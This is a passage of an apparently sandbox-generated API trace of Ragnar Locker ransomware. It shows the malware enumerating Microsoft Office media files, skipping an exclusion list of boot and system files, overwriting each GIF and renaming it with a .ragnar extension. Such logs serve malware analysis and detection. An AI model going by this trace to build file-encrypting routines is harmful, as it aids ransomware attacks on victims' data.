Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14532_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.146] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14533_.GIF", cAlternateFileName="")) returned 1 [0098.146] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.146] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14533_.GIF" | out: lpString1="BD14533_.GIF") returned="BD14533_.GIF" [0098.146] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF") returned=".GIF" [0098.146] lstrcmpiW (lpString1="BD14533_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.146] lstrcmpiW (lpString1="BD14533_.GIF", lpString2="autorun.inf") returned 1 [0098.146] lstrcmpiW (lpString1="BD14533_.GIF", lpString2="boot.ini") returned -1 [0098.146] lstrcmpiW (lpString1="BD14533_.GIF", lpString2="bootfont.bin") returned -1 [0098.146] lstrcmpiW (lpString1="BD14533_.GIF", lpString2="bootsect.bak") returned -1 [0098.146] lstrcmpiW (lpString1="BD14533_.GIF", lpString2="bootmgr") returned -1 [0098.146] lstrcmpiW (lpString1="BD14533_.GIF", lpString2="bootmgr.efi") returned -1 [0098.146] lstrcmpiW (lpString1="BD14533_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.146] lstrcmpiW (lpString1="BD14533_.GIF", lpString2="desktop.ini") returned -1 [0098.146] lstrcmpiW (lpString1="BD14533_.GIF", lpString2="iconcache.db") returned -1 [0098.147] lstrcmpiW (lpString1="BD14533_.GIF", lpString2="ntldr") returned -1 [0098.147] lstrcmpiW (lpString1="BD14533_.GIF", lpString2="ntuser.dat") returned -1 [0098.147] lstrcmpiW (lpString1="BD14533_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.147] lstrcmpiW (lpString1="BD14533_.GIF", lpString2="ntuser.ini") returned -1 [0098.147] lstrcmpiW (lpString1="BD14533_.GIF", lpString2="thumbs.db") returned -1 [0098.147] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.147] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.147] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.147] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.147] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.147] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.147] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14533_.gif")) returned 0x20 [0098.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14533_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.148] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=245) returned 1 [0098.148] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.148] GetProcessHeap () returned 0x580000 [0098.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.148] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.149] VirtualAlloc (lpAddress=0x0, dwSize=0xf5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.149] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.149] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.149] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf5, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xf5, lpOverlapped=0x0) returned 1 [0098.149] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.149] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf5, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.150] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf5, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xf5, lpOverlapped=0x0) returned 1 [0098.150] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.150] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.150] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xf5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.150] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.150] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.150] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.150] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.150] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.150] GetProcessHeap () returned 0x580000 [0098.150] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.150] CloseHandle (hObject=0x10c) returned 1 [0098.150] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF" [0098.150] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF.ragnar_FD7BD9FC" [0098.151] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14533_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14533_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.156] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe7b7100, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe7b7100, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14565_.GIF", cAlternateFileName="")) returned 1 [0098.156] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.156] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14565_.GIF" | out: lpString1="BD14565_.GIF") returned="BD14565_.GIF" [0098.156] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF") returned=".GIF" [0098.156] lstrcmpiW (lpString1="BD14565_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.156] lstrcmpiW (lpString1="BD14565_.GIF", lpString2="autorun.inf") returned 1 [0098.156] lstrcmpiW (lpString1="BD14565_.GIF", lpString2="boot.ini") returned -1 [0098.156] lstrcmpiW (lpString1="BD14565_.GIF", lpString2="bootfont.bin") returned -1 [0098.156] lstrcmpiW (lpString1="BD14565_.GIF", lpString2="bootsect.bak") returned -1 [0098.156] lstrcmpiW (lpString1="BD14565_.GIF", lpString2="bootmgr") returned -1 [0098.156] lstrcmpiW (lpString1="BD14565_.GIF", lpString2="bootmgr.efi") returned -1 [0098.156] lstrcmpiW (lpString1="BD14565_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.157] lstrcmpiW (lpString1="BD14565_.GIF", lpString2="desktop.ini") returned -1 [0098.157] lstrcmpiW (lpString1="BD14565_.GIF", lpString2="iconcache.db") returned -1 [0098.157] lstrcmpiW (lpString1="BD14565_.GIF", lpString2="ntldr") returned -1 [0098.157] lstrcmpiW (lpString1="BD14565_.GIF", lpString2="ntuser.dat") returned -1 [0098.157] lstrcmpiW (lpString1="BD14565_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.157] lstrcmpiW (lpString1="BD14565_.GIF", lpString2="ntuser.ini") returned -1 [0098.157] lstrcmpiW (lpString1="BD14565_.GIF", lpString2="thumbs.db") returned -1 [0098.157] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.157] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.157] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.157] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.157] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.157] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.157] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14565_.gif")) returned 0x20 [0098.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14565_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.158] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=183) returned 1 [0098.158] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.158] GetProcessHeap () returned 0x580000 [0098.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.159] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.159] VirtualAlloc (lpAddress=0x0, dwSize=0xb7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.160] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.160] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.160] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb7, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb7, lpOverlapped=0x0) returned 1 [0098.160] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.160] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb7, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.160] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb7, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb7, lpOverlapped=0x0) returned 1 [0098.160] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.160] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.160] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.160] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.160] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.160] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.160] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.161] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.161] GetProcessHeap () returned 0x580000 [0098.161] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.161] CloseHandle (hObject=0x10c) returned 1 [0098.161] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF" [0098.161] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF.ragnar_FD7BD9FC" [0098.161] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14565_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14565_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.193] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eb38a00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7eb38a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14578_.GIF", cAlternateFileName="")) returned 1 [0098.193] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.193] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14578_.GIF" | out: lpString1="BD14578_.GIF") returned="BD14578_.GIF" [0098.193] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF") returned=".GIF" [0098.193] lstrcmpiW (lpString1="BD14578_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.193] lstrcmpiW (lpString1="BD14578_.GIF", lpString2="autorun.inf") returned 1 [0098.193] lstrcmpiW (lpString1="BD14578_.GIF", lpString2="boot.ini") returned -1 [0098.193] lstrcmpiW (lpString1="BD14578_.GIF", lpString2="bootfont.bin") returned -1 [0098.193] lstrcmpiW (lpString1="BD14578_.GIF", lpString2="bootsect.bak") returned -1 [0098.193] lstrcmpiW (lpString1="BD14578_.GIF", lpString2="bootmgr") returned -1 [0098.193] lstrcmpiW (lpString1="BD14578_.GIF", lpString2="bootmgr.efi") returned -1 [0098.193] lstrcmpiW (lpString1="BD14578_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.193] lstrcmpiW (lpString1="BD14578_.GIF", lpString2="desktop.ini") returned -1 [0098.193] lstrcmpiW (lpString1="BD14578_.GIF", lpString2="iconcache.db") returned -1 [0098.193] lstrcmpiW (lpString1="BD14578_.GIF", lpString2="ntldr") returned -1 [0098.193] lstrcmpiW (lpString1="BD14578_.GIF", lpString2="ntuser.dat") returned -1 [0098.193] lstrcmpiW (lpString1="BD14578_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.193] lstrcmpiW (lpString1="BD14578_.GIF", lpString2="ntuser.ini") returned -1 [0098.194] lstrcmpiW (lpString1="BD14578_.GIF", lpString2="thumbs.db") returned -1 [0098.194] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.194] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.194] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.194] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.194] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.194] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.194] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14578_.gif")) returned 0x20 [0098.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14578_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.194] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=200) returned 1 [0098.194] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xbf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.194] GetProcessHeap () returned 0x580000 [0098.195] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.195] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.195] VirtualAlloc (lpAddress=0x0, dwSize=0xc8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.195] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.196] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.196] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc8, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xc8, lpOverlapped=0x0) returned 1 [0098.196] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.196] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc8, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.196] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc8, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xc8, lpOverlapped=0x0) returned 1 [0098.196] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.196] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.196] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.196] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.196] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.196] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.196] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.196] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.197] GetProcessHeap () returned 0x580000 [0098.197] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.197] CloseHandle (hObject=0x10c) returned 1 [0098.197] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF" [0098.197] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF.ragnar_FD7BD9FC" [0098.197] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14578_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14578_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.197] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eb38a00, ftCreationTime.dwHighDateTime=0x1bd8f90, 